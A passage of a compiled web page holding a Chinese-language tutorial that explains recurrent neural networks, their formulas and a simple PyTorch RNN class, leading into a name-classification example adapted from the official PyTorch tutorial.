\u4fdd\u5b58\u4e86\u65f6\u5e8f\u7684\u4fe1\u606f\uff1fRNN\u53c8\u5b58\u5728\u54ea\u4e9b\u95ee\u9898\uff1f \u672c\u7bc7\u5185\u5bb9\u5c06\u6309\u7167\u4ee5\u4e0b\u987a\u5e8f\u9010\u6b65\u5e26\u4f60\u6478\u6e05 RNN \u7684\u7ec6\u8282\u4e4b\u5904\uff0c\u5e76\u4f7f\u7528 PyTorch \u6765\u5b8c\u6210\u4e00\u4e2a\u81ea\u5df1\u7684\u6587\u672c\u5206\u7c7b\u6a21\u578b\u3002"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"\u4e3a\u4ec0\u4e48\u9700\u8981 RNN\uff1f"}),"\n",(0,i.jsx)(e.li,{children:"RNN \u7406\u89e3\u53ca\u5176\u7b80\u5355\u5b9e\u73b0\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u7528 RNN \u5b8c\u6210\u6587\u672c\u5206\u7c7b\u4efb\u52a1\u3002"}),"\n",(0,i.jsx)(e.li,{children:"RNN \u5b58\u5728\u7684\u95ee\u9898\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.h1,{id:"\u4e3a\u4ec0\u4e48\u9700\u8981-rnn",children:"\u4e3a\u4ec0\u4e48\u9700\u8981 RNN\uff1f"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u73b0\u5b9e\u751f\u6d3b\u7684\u4e16\u754c\u4e2d\uff0c\u6709\u5f88\u591a\u7684\u5185\u5bb9\u662f\u6709\u7740\u524d\u540e\u5173\u7cfb\u7684\uff0c\u6bd4\u5982\u4f60\u6240\u9605\u8bfb\u7684\u8fd9\u6bb5\u6587\u5b57\uff0c\u4ed6\u5e76\u4e0d\u662f\u6beb\u65e0\u7406\u7531\u7684\u968f\u673a\u7ec4\u5408\uff0c\u800c\u662f\u6211\u6784\u601d\u4e4b\u540e\u6309\u987a\u5e8f\u5199\u4e0b\u7684\u4e00\u4e2a\u4e2a\u6587\u5b57\u3002\u9664\u4e86\u6587\u5b57\u4e4b\u5916\uff0c\u4f8b\u5982\u4eba\u7684\u53d1\u97f3\u3001\u7269\u54c1\u7684\u4ef7\u683c\u7684\u66f2\u7ebf\u3001\u6e29\u5ea6\u53d8\u5316\u7b49\u7b49\uff0c\u90fd\u662f\u6709\u7740\u524d\u540e\u987a\u5e8f\u5b58\u5728\u7684\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5f88\u660e\u663e\uff0c\u5f53\u77e5\u9053\u4e86\u524d\u9762\u7684\u4fe1\u606f\uff0c\u5c31\u53ef\u4ee5\u5bf9\u540e\u9762\u7684\u4fe1\u606f\u8fdb\u884c\u5408\u7406\u7684\u9884\u6d4b\u3002\u6bd4\u5982\uff0c\u524d\u5341\u5929\u6e29\u5ea6\u90fd\u53ea\u670920\u5ea6\uff0c\u660e\u5929\u7684\u6e29\u5ea6\u65e0\u8bba\u5982\u4f55\u4e0d\u53ef\u80fd\u96f6\u4e0b\uff1b\u8fd9\u4e2a\u5546\u54c1\u4e00\u5e74\u6765\u4ef7\u683c\u90fd\u572830\u5de6\u53f3\u6d6e\u52a8\uff0c\u660e\u5929\u6211\u53bb\u4e70\u4ed6\u7684\u65f6\u5019\uff0c\u51c6\u590740\u5c31\u8db3\u591f\u4e86\uff1b\u8001\u5e08\u5f88\u597d\u7684\u8868\u626c\u4e86\u4f60\uff0c\u7d27\u8ddf\u7740\u8bf4\u4e86\u4e00\u4e2a\u4f46\u662f\uff0c\u4f60\u5c31\u77e5\u9053\u4ed6\u7684\u5185\u5bb9\u8981\u5f00\u59cb\u8f6c\u6298\u4e86\u3002\u8fd9\u5c31\u662f\u9690\u85cf\u5728\u65e5\u5e38\u751f\u6d3b\u4e2d\u7684\u5e8f\u5217\u4fe1\u606f\uff0c\u56e0\u4e3a\u5df2\u7ecf\u77e5\u9053\u4e86\u524d\u9762\u53d1\u751f\u7684\u5185\u5bb9\uff0c\u6240\u4ee5\u624d\u53ef\u4ee5\u63a8\u7406\u540e\u9762\u7684\u5185\u5bb9\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u90a3\u4e48\uff0c\u53ef\u4ee5\u7528\u4f20\u7edf\u7684\u591a\u5c42\u611f\u77e5\u673a\u6765\u5904\u7406\u5e8f\u5217\u95ee\u9898\u5417\uff1f\u6309\u7167\u57fa\u672c\u7684\u591a\u5c42\u611f\u77e5\u673a\u6a21\u578b\u65b9\u6848\u6765\u5b9e\u73b0\uff0c\u5e94\u8be5\u662f\u8fd9\u6837\u7684\uff1a\u5c06\u5e8f\u5217\u8f93\u5165\u56fa\u5b9a\u6210\u4e00\u4e2a $d$ \u7ef4\u5411\u91cf\uff0c\u5c31\u53ef\u4ee5\u9001\u5165\u591a\u5c42\u611f\u77e5\u673a\u8fdb\u884c\u5b66\u4e60\uff0c\u5f62\u5982\u516c\u5f0f\uff1a\n$$\n\\mathbf{H} = \\phi(\\mathbf{X} \\mathbf{W}",(0,i.jsx)(e.em,{children:"{xh} + \\mathbf{b}"}),"{h})\n$$\n\u516c\u5f0f\u4e2d\uff0c $\\phi$ \u8868\u793a\u6fc0\u6d3b\u51fd\u6570\uff0c$\\mathbf{X} \\in \\mathbb{R}^{n \\times d}$ \u8868\u793a\u4e00\u7ec4\u5c0f\u6279\u91cf\u6837\u672c\uff0c\u5176\u4e2d $n$ \u662f\u6837\u672c\u5927\u5c0f\uff0c $d$ \u8868\u793a\u8f93\u5165\u7684\u7279\u5f81\u7ef4\u5ea6\u3002\uff1a$\\mathbf{W}_{xh} \\in \\mathbb{R}^{d \\times h}$\u8868\u793a\u6a21\u578b\u6743\u91cd\u53c2\u6570\uff0c$d \\in \\mathbb{R}^{1 \\times h}$\u8868\u793a\u6a21\u578b\u504f\u7f6e\u3002\u6700\u540e\u53ef\u4ee5\u5f97\u5230\u9690\u85cf\u5c42\u8f93\u5165\uff1a$\\mathbf{H} \\in \\mathbb{R}^{n \\times h}$\uff0c\u5176\u4e2d $h$ \u8868\u793a\u9690\u85cf\u5c42\u5927\u5c0f\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u7d27\u63a5\u7740\uff0c\u6a21\u578b\u53ef\u4ee5\u4f7f\u7528\u4e0b\u9762\u7684\u516c\u5f0f\u8fdb\u884c\u8ba1\u7b97\uff0c\u5f97\u5230\u8f93\u51fa\uff1a\n$$\n\\mathbf{O} = \\mathbf{H}\\mathbf{W}_{hq} + \\mathbf{b}_q\n$$\n\u5176\u4e2d\uff0c$\\mathbf{O} \\in \\mathbb{R}^{n \\times q}$ \u4e3a\u6a21\u578b\u8f93\u51fa\u53d8\u91cf\uff0c$q$ \u8868\u793a\u8f93\u51fa\u5c42\u5411\u91cf\uff0c\u7531\u4e8e\u672c\u6b21\u7684\u4efb\u52a1\u662f\u4e00\u4e2a\u6587\u672c\u5206\u7c7b\u4efb\u52a1\uff0c\u90a3\u8fd9\u91cc $q$ \u5c31\u8868\u793a\u6587\u672c\u7c7b\u522b\uff0c\u53ef\u4ee5\u4f7f\u7528 $\\mathbf{Softmax(O)}$ \u6765\u8fdb\u884c\u6982\u7387\u9884\u6d4b\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u4f46\u662f\uff0c\u4e0a\u9762\u7684\u6d41\u7a0b\u6709\u4e00\u4e2a\u5f88\u660e\u663e\u7684\u524d\u7f6e\u6761\u4ef6\uff1a",(0,i.jsx)(e.strong,{children:"\u56fa\u5b9a\u6210 $d$ \u7ef4\u5411\u91cf"}),"\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u4f20\u7edf\u7684\u591a\u5c42\u611f\u77e5\u673a\uff0c\u662f\u4e0d\u80fd\u5bf9\u53d8\u957f\u5e8f\u5217\u8fdb\u884c\u5904\u7406\u7684\u3002\u4f46\u662f\uff0c",(0,i.jsx)(e.strong,{children:"\u5728\u5e8f\u5217\u4efb\u52a1\u4e2d\uff0c\u5e8f\u5217\u957f\u77ed\u5f88\u660e\u663e\u662f\u5e76\u4e0d\u76f8\u540c\u7684"}),"\uff0c\u4e0d\u4ec5\u9700\u8981\u7528\u4e00\u5929\u7684\u6570\u636e\u9884\u6d4b\u660e\u5929\u7684\u7ed3\u679c\uff0c\u4e5f\u53ef\u80fd\u9700\u8981\u62ff\u4e00\u5e74\u7684\u6570\u636e\u9884\u6d4b\u660e\u5929\u7684\u7ed3\u679c\u3002\u5728\u8fd9\u6837\u7684\u60c5\u51b5\u4e0b\uff0c\u5982\u679c\u8fd8\u60f3\u8981\u4f7f\u7528\u4f20\u7edf\u7684\u591a\u5c42\u611f\u77e5\u673a\uff0c\u5c31\u4f1a\u9762\u4e34\u7740\u4e00\u4e2a\u5de8\u5927\u7684\u95ee\u9898\uff1a\u5982\u4f55\u5c06\u4e00\u5929\u7684\u5185\u5bb9\u4e0e\u4e00\u5e74\u7684\u5185\u5bb9\u53d8\u5316\u6210\u76f8\u540c\u7684 $d$ \u7ef4\u5411\u91cf\uff1f"]}),"\n",(0,i.jsxs)(e.p,{children:["\u9664\u6b64\u4e4b\u5916\uff0c\u5e8f\u5217\u4fe1\u606f\u53ef\u80fd\u8fd8\u6709\u53e6\u5916\u4e00\u4e2a\u60c5\u51b5\uff1a",(0,i.jsx)(e.strong,{children:"\u67d0\u4e9b\u4fe1\u606f\u53ef\u80fd\u51fa\u73b0\u5728\u5e8f\u5217\u7684\u4e0d\u540c\u4f4d\u7f6e\u3002\u867d\u7136\u4fe1\u606f\u51fa\u73b0\u5728\u4e0d\u540c\u7684\u4f4d\u7f6e\uff0c\u4f46\u662f\u4ed6\u53ef\u80fd\u8868\u8fbe\u51fa\u4e86\u76f8\u540c\u7684\u542b\u4e49"}),"\u3002"]}),"\n",(0,i.jsx)(e.p,{children:'\u4e3e\u4f8b\u6765\u8bf4\uff1a\u5f53\u6211\u4eec\u548c\u8001\u5e08\u8c08\u8bdd\u65f6\uff0c\u5982\u679c\u4ed6\u8868\u626c\u4e86\u6211\u4eec\u534a\u5c0f\u65f6\uff0c\u7136\u540e\u8bf4\uff1a"\u4f46\u662f..."\uff0c\u6211\u4eec\u5f80\u5f80\u662f\u4e0d\u62c5\u5fc3\u7684\uff0c\u56e0\u4e3a\u4ed6\u53ef\u80fd\u53ea\u662f\u4e3a\u4e86\u6307\u51fa\u4e00\u4e9b\u5c0f\u95ee\u9898\u3002\u5982\u679c\u4ed6\u521a\u521a\u8868\u626c\u4e86\u4e00\u53e5\u8bdd\uff0c\u7d27\u63a5\u7740\u5c31\u8bf4\u201c\u4f46\u662f\u201d\uff0c\u90a3\u6211\u4eec\u5c31\u5fc5\u987b\u505a\u597d\u9762\u5bf9\u534a\u5c0f\u65f6\u7684\u72c2\u98ce\u66b4\u96e8\u3002\u8fd8\u6709\u53e6\u5916\u4e00\u79cd\u53ef\u80fd\uff0c\u8001\u5e08\u53ef\u80fd\u8fde\u7eed\u6279\u8bc4\u4f60\u5f88\u4e45\uff0c\u7136\u540e\u4f7f\u7528\u201c\u4f46\u662f\u201d\u8f6c\u6298\uff0c\u4f60\u5c31\u4f1a\u5728\u8fd9\u65f6\u5019\u5982\u91ca\u91cd\u8d1f\uff0c\u56e0\u4e3a\u4f60\u77e5\u9053\u8fd9\u573a\u8c08\u8bdd\u5c31\u5feb\u8981\u7ed3\u675f\u4e86\u3002\u8fd9\u5c31\u662f\u6211\u4eec\u6839\u636e\u524d\u6587(\u8868\u626c\u7684\u5185\u5bb9\u548c\u65f6\u95f4)\uff0c\u5728\u8001\u5e08\u8bf4\u51fa"\u4f46\u662f"\u7684\u65f6\u5019\uff0c\u6240\u4f5c\u51fa\u7684\u5224\u65ad\u3002'}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0a\u9762\u63d0\u5230\u7684\u4e24\u4e2a\u95ee\u9898\uff0c\u4f7f\u7528\u591a\u5c42\u611f\u77e5\u673a\u672c\u8eab\u4f3c\u4e4e\u96be\u4ee5\u89e3\u51b3\uff0c\u4f46\u662f\u6240\u5e78\uff0cRNN \u4ece\u4e00\u4e2a\u66f4\u5e38\u89c4\u7684\u601d\u8def\u51fa\u53d1\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff1a",(0,i.jsx)(e.strong,{children:"\u8bb0\u4f4f\u4e4b\u524d\u770b\u5230\u7684\u5185\u5bb9\uff0c\u5e76\u7ed3\u5408\u5f53\u524d\u770b\u5230\u7684\u5185\u5bb9\uff0c\u6765\u9884\u6d4b\u4e4b\u540e\u53ef\u80fd\u7684\u5185\u5bb9\u3002"})]}),"\n",(0,i.jsx)(e.h1,{id:"rnn-\u7406\u89e3\u53ca\u5176\u7b80\u5355\u5b9e\u73b0",children:"RNN \u7406\u89e3\u53ca\u5176\u7b80\u5355\u5b9e\u73b0"}),"\n",(0,i.jsx)(e.p,{children:"\u6839\u636e\u5f00\u7bc7\u7684\u5185\u5bb9\uff0c\u76f8\u4fe1\u4f60\u5df2\u7ecf\u53ef\u4ee5\u7b80\u5355\u7684\u7406\u89e3\u4e3a\u4ec0\u4e48\u4f20\u7edf\u7684\u591a\u5c42\u611f\u77e5\u673a\u65e0\u6cd5\u5f88\u597d\u7684\u89e3\u51b3\u5e8f\u5217\u4fe1\u606f\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u5f00\u59cb\u7406\u89e3\uff0cRNN \u5982\u4f55\u8bb0\u5fc6\u4e4b\u524d\u7684\u5185\u5bb9\u7684\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u8fd9\u91cc\uff0c\u6211\u5148\u653e\u51fa RNN \u7684\u516c\u5f0f\uff0c\u8bf7\u5c06\u5176\u4e0e\u591a\u5c42\u611f\u77e5\u673a\u516c\u5f0f\u8fdb\u884c\u5bf9\u6bd4\uff1a\n$$\n\\mathbf{H}",(0,i.jsxs)(e.em,{children:["t = \\phi(\\mathbf{X}",(0,i.jsx)(e.em,{children:"t \\mathbf{W}"}),"{xh} + \\mathbf{H}"]}),"{t-1} \\mathbf{W}",(0,i.jsxs)(e.em,{children:["{hh} + \\mathbf{b}",(0,i.jsx)(e.em,{children:"h).\n$$\n\u53ef\u4ee5\u770b\u5230\uff0c\u4e0e\u4e0a\u4e00\u4e2a\u516c\u5f0f\u76f8\u6bd4\uff0c\u8fd9\u91cc\u6700\u660e\u663e\u7684\u4e00\u70b9\u662f\u591a\u4e86\u4e00\u4e2a $\\mathbf{H}"}),"{t-1} \\mathbf{W}"]}),"{hh}$ \uff0c\u4ece\u516c\u5f0f\u4e0a\u4f3c\u4e4e\u5f88\u597d\u7406\u89e3\uff0c$\\mathbf{H}_{t-1}$ \u8868\u793a\u7740\u524d\u4e00\u65f6\u523b\u7684\u9690\u85cf\u72b6\u6001\uff0c\u8868\u793a\u7684\u662f",(0,i.jsx)(e.strong,{children:"\u4e4b\u524d\u770b\u5230\u7684\u5185\u5bb9"}),"\uff0c\u7136\u540e\u52a0\u4e0a\u5f53\u524d\u65f6\u523b\u7684\u8f93\u5165 $\\mathbf{X}",(0,i.jsx)(e.em,{children:"t$\uff0c\u5c31\u53ef\u4ee5\u8f93\u51fa\u5f53\u524d\u65f6\u523b\u7684\u9690\u85cf\u7ed3\u679c $\\mathbf{H}"}),"{t}$\u3002\u5728\u5f97\u5230\u9690\u85cf\u7ed3\u679c\u540e\uff0c\u5b83\u5c31\u53ef\u4ee5\u88ab\u7528\u4e8e\u4e0b\u4e00\u6b65\u7684\u8ba1\u7b97\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5f53\u7136\uff0c\u8fd9\u4e2a\u8fed\u4ee3\u8fc7\u7a0b\u4e5f\u53ef\u80fd\u968f\u65f6\u7ec8\u6b62\uff0c\u5982\u679c\u5c06\u5f97\u5230\u7684\u9690\u85cf\u7ed3\u679c\u7528\u4e8e\u8f93\u51fa\uff0c\u4fbf\u53ef\u4ee5\u76f4\u63a5\u5f97\u5230\u8f93\u51fa\u7ed3\u679c\uff0c\u516c\u5f0f\u8868\u8fbe\u4e3a\uff1a\n$$\n\\mathbf{O} = \\phi(\\mathbf{H}",(0,i.jsx)(e.em,{children:"{t} \\mathbf{W}"}),"{hq} + \\mathbf{b}_q).\n$$"]}),"\n",(0,i.jsx)(e.p,{children:"\u53ef\u4ee5\u770b\u5230\uff0c\u516c\u5f0f\u56db\u4e0e\u516c\u5f0f\u4e8c\u6781\u5176\u76f8\u4f3c\uff0c\u4ec5\u6709\u9690\u85cf\u72b6\u6001 $\\mathbf{H}$ \u7565\u6709\u4e0d\u540c\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u6b64\u65f6\uff0c\u6839\u636e\u4ee5\u4e0a\u516c\u5f0f\u53ca\u5176\u7406\u89e3\uff0c\u5df2\u7ecf\u53ef\u4ee5\u6784\u5efa\u4e00\u4e2a\u7b80\u5355\u7684 RNN \u6a21\u578b\u4e86\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"class RNNDemo(nn.Module):\n def __init__(self, input_size, hidden_size, output_size):\n super(CharRNNClassify, self).__init__()\n\n self.hidden_size = hidden_size\n # \u8ba1\u7b97\u9690\u85cf\u72b6\u6001 H\n # \u56e0\u4e3a\u8981\u7528\u4ee5\u4e0b\u4e00\u6b21\u8ba1\u7b97\uff0c\u6240\u4ee5\u8f93\u51fa\u7ef4\u5ea6\u5e94\u8be5\u662f hidden_size\n self.i2h = nn.Linear(input_size + hidden_size, hidden_size)\n # \u8f93\u51fa\u7ed3\u679c O\n self.i2o = nn.Linear(input_size + hidden_size, output_size)\n self.softmax = nn.LogSoftmax(dim=1)\n def forward(self, input, hidden):\n # \u5c06 X \u548c Ht-1 \u5408\u5e76\n combined = torch.cat((input, hidden), 1)\n # \u8ba1\u7b97 Ht\n hidden = self.i2h(combined)\n # \u8ba1\u7b97\u5f53\u524d\u60c5\u51b5\u4e0b\u7684\u8f93\u51fa\n output = self.i2o(combined)\n # \u5206\u7c7b\u4efb\u52a1\u4f7f\u7528 softmax \u8fdb\u884c\u6982\u7387\u9884\u6d4b\n output = self.softmax(output)\n # \u8fd4\u56de\u9884\u6d4b\u7ed3\u679c \u548c \u5f53\u524d\u7684\u9690\u85cf\u72b6\u6001\n return output, hidden\n def initHidden(self):\n \t# \u907f\u514d\u968f\u673a\u751f\u6210\u7684 H0 \u5e72\u6270\u540e\u7eed\u7ed3\u679c\n return torch.zeros(1, self.hidden_size)\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8f85\u52a9\u4ee3\u7801\u7406\u89e3\uff1a\u6839\u636e\u516c\u5f0f\u4e09\u53ef\u77e5\uff0c$\\mathbf{W}",(0,i.jsx)(e.em,{children:"{xh}$ \u548c $\\mathbf{W}"}),"{hh}$ \u5728\u8f93\u5165\u9636\u6bb5\u65f6\u4e24\u8005\u4e92\u4e0d\u5f71\u54cd\uff0c\u6240\u4ee5\u5728 ",(0,i.jsx)(e.code,{children:"self.i2h = nn.Linear(input_size + hidden_size, hidden_size)"})," \u4e2d\u5bf9\u8f93\u5165\u7684\u7ef4\u5ea6\u8fdb\u884c\u6269\u5bb9\uff0c\u524d ",(0,i.jsx)(e.code,{children:"input_size"})," \u4e0e\u516c\u5f0f $\\mathbf{W}",(0,i.jsxs)(e.em,{children:["{xh}$ \u5bf9\u5e94\uff0c\u800c\u540e\u9762\u7684 ",(0,i.jsx)(e.code,{children:"hidden_size"})," \u5219\u662f\u548c $\\mathbf{W}"]}),"{hh}$ \u5bf9\u5e94\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u9605\u8bfb\u4ee3\u7801\u4e4b\u540e\uff0c\u8bf7\u6839\u636e\u4ee3\u7801\u548c\u516c\u5f0f\uff0c\u6765\u56de\u5fc6\u7b2c\u4e00\u90e8\u5206\u63d0\u51fa\u7684\u4e24\u4e2a\u95ee\u9898\uff0c\u901a\u8fc7\u56de\u7b54\u8fd9\u4e24\u4e2a\u95ee\u9898\uff0c\u5c31\u53ef\u4ee5\u8fdb\u4e00\u6b65\u7684\u5206\u6790 RNN\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u7b2c\u4e00\u4e2a\u95ee\u9898\u662f\u5bf9\u4e8e\u4e0d\u540c\u7684\u5e8f\u5217\u957f\u5ea6\uff0c\u5982\u4f55\u8fdb\u884c\u5904\u7406\u5176\u5411\u91cf\u8868\u793a\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["\u4ece\u516c\u5f0f\u4e2d\u53ef\u4ee5\u770b\u5230\uff0cRNN \u5e76\u4e0d\u8981\u6c42\u4e0d\u540c\u7684\u5e8f\u5217\u8868\u793a\u6210\u76f8\u540c\u7684\u7ef4\u5ea6\uff0c\u800c\u662f\u8981\u6c42\u5e8f\u5217\u4e2d\u7684\u6bcf\u4e00\u4e2a\u503c\uff0c\u8868\u793a\u6210\u4e3a\u76f8\u540c\u7684\u7ef4\u5ea6\uff0c\u8fd9\u6837\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u5728 $t$ \u65f6\u523b\u8f93\u5165\u7684\u503c\u89c6\u4e3a\u7684 $\\mathbf{X}",(0,i.jsx)(e.em,{children:"t$\uff0c\u5e76\u4e14\u7ed3\u5408\u4e4b\u524d\u65f6\u523b\u8f93\u5165\u5e76\u8ba1\u7b97\u5f97\u6765\u7684\u9690\u85cf\u72b6\u6001 $\\mathbf{H}"}),"{t-1}$\uff0c\u5f97\u5230\u5f53\u524d\u65f6\u523b\u7684\u7ed3\u679c\uff0c\u8fd9\u6837\u65e0\u8bba\u5e8f\u5217\u5b9e\u9645\u957f\u5ea6\u5982\u4f55\uff0c\u6211\u4eec\u968f\u65f6\u53ef\u4ee5\u5728\u60f3\u8981\u4e2d\u65ad\u7684\u65f6\u5019\u5c06\u9690\u85cf\u72b6\u6001\u8f6c\u53d8\u6210\u8f93\u51fa\u7684\u7ed3\u679c\uff0c\u751a\u81f3\u6211\u4eec\u53ef\u4ee5\u5728\u8f93\u5165\u7684\u540c\u65f6\uff0c\u5f97\u5230\u8f93\u51fa\u7684\u7ed3\u679c\u3002\n\u3010\u56fe\u7247\uff0c\u5f85\u8865\u5145\u3011"]}),"\n",(0,i.jsx)(e.p,{children:"\u7b2c\u4e8c\u4e2a\u95ee\u9898\uff0c\u67d0\u4e9b\u4fe1\u606f\u53ef\u80fd\u51fa\u73b0\u5728\u5e8f\u5217\u7684\u4e0d\u540c\u4f4d\u7f6e\uff0c\u4f46\u662f\u5176\u8868\u8fbe\u7684\u542b\u4e49\u662f\u76f8\u540c\u7684\uff1a"}),"\n",(0,i.jsx)(e.p,{children:"\u5bf9\u4e8e\u8fd9\u4e2a\u95ee\u9898\uff0c\u5355\u72ec\u67e5\u770b\u516c\u5f0f\u4e0e\u4ee3\u7801\u53ef\u80fd\u4e0d\u592a\u597d\u7406\u89e3\uff0c\u4f46\u662f\u53ef\u4ee5\u4ece\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u4e2d\u5f97\u5230\u4e00\u5b9a\u7684\u7075\u611f\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u5177\u6709\u5e73\u79fb\u7b49\u53d8\u6027\uff0c\u4e5f\u5c31\u662f\u8bf4\u8f93\u5165\u7684 $\\mathbf{X}$ \u4e0d\u4f1a\u56e0\u4e3a\u4f4d\u7f6e\u7684\u53d8\u5316\u800c\u5bfc\u81f4\u8f93\u51fa\u7684\u4e0d\u540c\uff0c\u8fd9\u5f97\u76ca\u4e8e\u5377\u79ef\u6838\u4f7f\u7528\u4e86\u53c2\u6570\u5171\u4eab\uff0c\u65e0\u8bba\u56fe\u7247\u54ea\u4e2a\u4f4d\u7f6e\u8fdb\u884c\u8f93\u5165\uff0c\u53ea\u8981\u5377\u79ef\u6838\u7684\u53c2\u6570\u4e0d\u53d8\uff0c\u8f93\u5165\u503c\u5c31\u4e0d\u53d8\uff0c\u5176\u7ed3\u679c\u5c31\u4e0d\u4f1a\u53d1\u751f\u53d8\u5316\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u626d\u56de\u5934\u6765\u770b RNN \u4e2d\uff0c\u5176 $\\mathbf{X}$ \u4e0e $\\mathbf{H}$ \u6240\u4f7f\u7528\u7684\u6743\u91cd\u77e9\u9635\u4e00\u76f4\u662f\u4e00\u4e2a\uff0c\u4e5f\u5c31\u662f\u8bf4 $\\mathbf{W}",(0,i.jsx)(e.em,{children:"{xh}$ \u548c $\\mathbf{W}"}),"{hh}$ \u662f\u53c2\u6570\u5171\u4eab\u7684\uff0c\u90a3\u4e48\u65e0\u8bba\u4ece\u5e8f\u5217\u7684\u54ea\u4e2a\u4f4d\u7f6e\u8fdb\u884c\u8f93\u5165\uff0c\u53ea\u8981\u8f93\u5165\u5185\u5bb9\u5b8c\u5168\u4e00\u6837\uff0c\u5176\u8f93\u51fa\u7ed3\u679c\u4e5f\u5c31\u662f\u5b8c\u5168\u4e00\u6837\u7684\u7684\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u7406\u89e3\u4e86 RNN \u6765\u9f99\u53bb\u8109\u4e4b\u540e\uff0c\u63a5\u4e0b\u6765\u5f00\u59cb\u4ece RNN \u7684\u5728\u5b9e\u9645\u6587\u672c\u5206\u7c7b\u4e2d\u8fdb\u884c\u66f4\u6df1\u5165\u7684\u5206\u6790\u3002(\u6ce8\uff1a\u8be5\u6837\u4f8b\u6e90\u81ea ",(0,i.jsx)(e.a,{href:"https://pytorch.org/tutorials/intermediate/char_rnn_classification_tutorial.html",children:"Torch \u5b98\u65b9\u6559\u7a0b"}),")\u3002"]}),"\n",(0,i.jsx)(e.h1,{id:"rnn-\u5b8c\u6210\u6587\u672c\u5206\u7c7b\u4efb\u52a1",children:"RNN \u5b8c\u6210\u6587\u672c\u5206\u7c7b\u4efb\u52a1"}),"\n",(0,i.jsx)(e.p,{children:"\u5b8c\u6210\u4e00\u4e2a\u57fa\u672c\u7684\u7b97\u6cd5\u4efb\u52a1\uff0c\u6709\u4ee5\u4e0b\u6d41\u7a0b\uff1a\u6570\u636e\u5206\u6790\u3001\u6570\u636e\u8f6c\u6362\u3001\u6784\u5efa\u6a21\u578b\u3001\u5b9a\u4e49\u8bad\u7ec3\u51fd\u6570\u3001\u6267\u884c\u8bad\u7ec3\u3001\u4fdd\u5b58\u6a21\u578b\u3001\u8bc4\u4f30\u6a21\u578b\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u91cc\u6458\u53d6\u5b98\u65b9\u6559\u7a0b\u4e2d\u90e8\u5206\u5173\u952e\u4ee3\u7801\u8fdb\u884c\u8bb2\u89e3\uff0c\u53ef\u4ee5\u76f4\u63a5",(0,i.jsx)(e.a,{href:"https://pytorch.org/tutorials/_downloads/13b143c2380f4768d9432d808ad50799/char_rnn_classification_tutorial.ipynb",children:"\u70b9\u51fb\u8fd9\u91cc"}),"\u76f4\u63a5\u4e0b\u8f7d\u5b98\u65b9 notebook\u8fdb\u884c\u8bad\u7ec3\u3002\u8bad\u7ec3\u6240\u7528\u6570\u636e\u4f4d\u4e8e",(0,i.jsx)(e.a,{href:"https://download.pytorch.org/tutorial/data.zip",children:"\u8fd9\u91cc"}),"\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5728 notebook \u7b2c\u4e00\u4e2a\u53ef\u6267\u884c cell \u4e2d\uff0c\u9996\u5148\u5b9a\u4e49\u4e86\u53ef\u7528\u5b57\u7b26 ",(0,i.jsx)(e.code,{children:"all_letters"})," \u548c \u53ef\u7528\u5b57\u7b26\u6570\u91cf ",(0,i.jsx)(e.code,{children:"n_letters"})," \u3002\u540c\u65f6\uff0c\u5c06\u4e0b\u8f7d\u7684\u6570\u636e\u8f6c\u4e3a ASCII \u7f16\u7801\uff0c\u4f7f\u7528 Dict l\u7c7b\u578b\u8fdb\u884c\u5b58\u50a8\u3002\u5176\u4fdd\u5b58\u683c\u5f0f\u4e3a\uff1a",(0,i.jsx)(e.code,{children:"{language: [names ...]}"}),"\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u7b2c\u4e09\u4e2a cell \u4e2d\uff0c\u5b9a\u4e49\u4e86\u4e09\u4e2a\u65b9\u6cd5\uff0c\u4e3b\u8981\u76ee\u7684\u662f\u5c06\u7531 $n$ \u4e2a\u5b57\u7b26\u7ec4\u6210\u7684\u53e5\u5b50\u53d8\u6210\u4e00\u4e2a $n \\times d$ \u7684\u5411\u91cf\uff0c\u5176\u4e2d $d$ \u8868\u793a\u5b57\u7b26\u7279\u5f81\uff0c\u5728\u8fd9\u91cc\u4f7f\u7528 One-Hot \u7f16\u7801\u3002\u7531\u4e8e One-Hot \u7f16\u7801\u5f62\u4e3a $1 \\times n_letters$\uff0c\u5219\u6700\u7ec8\u5f62\u72b6\u4e3a $n \\times 1 \\times n_letters$\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u7b2c\u56db\u4e2a Cell \u4e2d\uff0c\u5b9a\u4e49\u4e86\u57fa\u672c\u7684 RNN \u6a21\u578b\u7684\u4ee3\u7801\u4e0e\u4e0a\u65b9\u4ee3\u7801\u4e00\u81f4\uff0c\u5e76\u8bbe\u7f6e\u9690\u85cf\u5c42\u5927\u5c0f\u4e3a128\u3002\u63a5\u4e0b\u6765\u7684\u7b2c\u4e94\u4e2a\u548c\u7b2c\u516d\u4e2a\u53ef\u6267\u884c Cell\u4e2d\uff0c\u5bf9\u4e8e RNN 